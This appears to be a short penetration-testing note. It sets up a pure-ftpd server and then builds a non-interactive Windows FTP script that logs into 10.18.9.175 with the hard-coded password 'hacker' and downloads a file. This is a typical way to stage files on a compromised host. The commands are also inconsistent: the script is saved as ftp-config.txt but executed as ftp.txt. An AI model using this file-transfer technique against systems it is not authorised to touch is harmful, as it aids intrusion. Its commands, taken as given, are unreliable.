Skip to content

ftp

Install

sudo apt update && sudo apt install pure-ftpd

Configuration

sudo groupadd ftpgroup
sudo useradd -g ftpgroup -d /dev/null -s /etc ftpuser
sudo pure-pw useradd ftpuser -u ftpuser -d /ftphome
sudo pure-pw mkdb
cd /etc/pure-ftpd/auth/
sudo ln -s ../conf/PureDB 60pdb
sudo mkdir -p /ftphome
sudo chown -R ftpuser:ftpgroup /ftphome/
sudo systemctl restart pure-ftpd

Windows non-interactive connection

ftp-config.txt

echo open 10.18.9.175 21 > ftp-config.txt
echo USER ftpuser >> ftp-config.txt
echo hacker >> ftp-config.txt
echo bin >> ftp-config.txt
echo GET szalek.txt >> ftp-config.txt
echo bye >> ftp-config.txt
execute
ftp -v -n -s:ftp.txt